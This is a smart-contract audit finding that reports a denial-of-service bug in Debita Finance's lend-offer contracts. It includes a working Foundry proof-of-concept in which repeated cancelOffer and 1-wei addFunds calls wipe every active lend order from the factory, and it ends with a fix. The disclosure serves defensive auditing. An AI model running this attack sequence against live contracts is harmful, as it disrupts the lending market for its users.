Sneaky Grape Goat

Medium

# Malicious user can delete all lend orders from DLOFactory

### Summary

A malicious user can create a lend order and delete all other lend orders by calling `DLOImplementation::addFunds()` and `DLOImplementation::cancelOffer()` repeatedly until `DLOFactory` deletes all active lending orders.

### Root Cause

No check in `DLOImplementation::cancelOffer()` to ensure that an order cannot be deleted twice

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. Create a new Lend order
2.  Delete that lend order by calling `DLOImplementation::cancelOffer()`
3.  Add minimum funds(1 wei) to that order by calling `DLOImplementation::addFunds()`
4.  Call `DLOImplementation::cancelOffer()` again and repeat the same process in step 2 and 3

### Impact

1.  All active lend order addresses will be lost from the `DLOFactory` contract in Line [88-89](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L88-L89).
2.  A borrower or lender cannot get any info on loans by calling `DLOFactory::getActiveOrders()` if the addresses of those loans are deleted from the contract. They will not be able to match offers according to their will.

### PoC

1.  Create a new file in test folder -`PoC.t.test`
2.  Paste the following codes in that file-
```solidity
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.20;

import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";

import {Test, console} from "forge-std/Test.sol";

contract PoC is Test {
    DLOFactory public dloFactoryContract;
    DLOImplementation public lendImplementation;
    ERC20Mock public aeroContract;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address carol = makeAddr("carol");
    address deployer = makeAddr("deployer");
    address maliciousUser = makeAddr("maliciousUser");

    function setUp() public {
        vm.startPrank(deployer);
        lendImplementation = new DLOImplementation();
        dloFactoryContract = new DLOFactory(address(lendImplementation));
        aeroContract = new ERC20Mock();
        vm.stopPrank();
    }

    function testDeleteLendOrder() public {
        address[] memory lendAddress = createLendOrder();
        console.log("Before delete count: ", dloFactoryContract.activeOrdersCount());
        uint256 count = dloFactoryContract.activeOrdersCount();

        vm.startPrank(maliciousUser);
        DLOImplementation(lendAddress[count - 1]).cancelOffer();

        // Here a malicious user can delete all lend orders from the factory contract
        // As a result no one can find out the active lend orders from the factory contract to match offers
        // This might disrupt the whole lending system
        for(uint256 i = 0; i < count-1; i++) {
            aeroContract.approve(lendAddress[count - 1], 1);
            DLOImplementation(lendAddress[count - 1]).addFunds(1);
            DLOImplementation(lendAddress[count - 1]).cancelOffer();
        }

        vm.stopPrank();

        assertEq(dloFactoryContract.activeOrdersCount(), 0);

        address orderAtZero = dloFactoryContract.allActiveLendOrders(0);
        console.log("Order at one: ", orderAtZero);
        address orderAtOne = dloFactoryContract.allActiveLendOrders(1);
        console.log("Order at one: ", orderAtOne);

        console.log("After delete count: ", dloFactoryContract.activeOrdersCount());
    }

    function createLendOrder() public returns(address[] memory) {
        bool[] memory oraclesActivated = new bool[](1);
        uint[] memory ltvs = new uint[](1);
        uint[] memory ratio = new uint[](1);
        address[] memory oraclesPrinciples = new address[](1);
        address[] memory acceptedPrinciples = new address[](1);

        ltvs[0] = 0;
        oraclesActivated[0] = false;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = address(aeroContract);
        ratio[0] = 1e18;

        address[] memory lendAddress = new address[](4);

        vm.startPrank(alice);
        deal(address(aeroContract), alice, 1000e18);
        aeroContract.approve(address(dloFactoryContract), 1000e18);
        lendAddress[0] = dloFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedPrinciples,
            address(aeroContract),
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        vm.startPrank(bob);
        deal(address(aeroContract), bob, 1000e18);
        aeroContract.approve(address(dloFactoryContract), 1000e18);
        lendAddress[1] = dloFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedPrinciples,
            address(aeroContract),
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        vm.startPrank(carol);
        deal(address(aeroContract), carol, 1000e18);
        aeroContract.approve(address(dloFactoryContract), 1000e18);
        lendAddress[2] = dloFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedPrinciples,
            address(aeroContract),
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        vm.startPrank(maliciousUser);
        deal(address(aeroContract), maliciousUser, 1000e18);
        aeroContract.approve(address(dloFactoryContract), 1000e18);
        lendAddress[3] = dloFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedPrinciples,
            address(aeroContract),
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        return lendAddress;
    }
}
```
3. Run `forge test --mt testDeleteLendOrder -vv`

### Mitigation

Add a check in `DLOImplementation::cancelOffer()` and `DLOImplementation::addFunds()`, to verify whether the order has already been deleted

Add the following lines in `DLOImplementation`:

```diff
function cancelOffer() public onlyOwner nonReentrant {
+      require(isActive, "Order already deleted");
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
// Rest of the code
```
```diff
function addFunds(uint amount) public nonReentrant {
+     require(isActive, "Order deleted!");
        require(
            msg.sender == lendInformation.owner ||
                IAggregator(aggregatorContract).isSenderALoan(msg.sender),
            "Only owner or loan"
        );
// Rest of the code
```
